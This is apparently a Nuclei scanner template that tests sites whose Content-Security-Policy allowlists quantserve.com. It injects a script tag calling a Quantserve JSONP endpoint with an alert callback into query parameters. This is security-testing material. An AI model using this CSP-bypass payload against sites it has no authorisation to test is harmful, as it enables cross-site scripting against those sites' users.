id: quantserve-secure-csp-bypass

info:
  name: Content-Security-Policy Bypass - Quantserve Secure
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,quantserve-secure,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "quantserve.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: quantserve_secure_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://secure.quantserve.com/api/segments.json?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "quantserve_secure_csp_xss == true"
# digest: 4b0a00483046022100e0c2990607f3f51dd0fe3376135d1c94d17ef69cc85a1163cab711577779c3b9022100fbb7171b25a4f8be6ab37caab8408d4cf8cab566d54a0542cd70f0dfd68ed17c:922c64590222798bb761d5b6d8e72950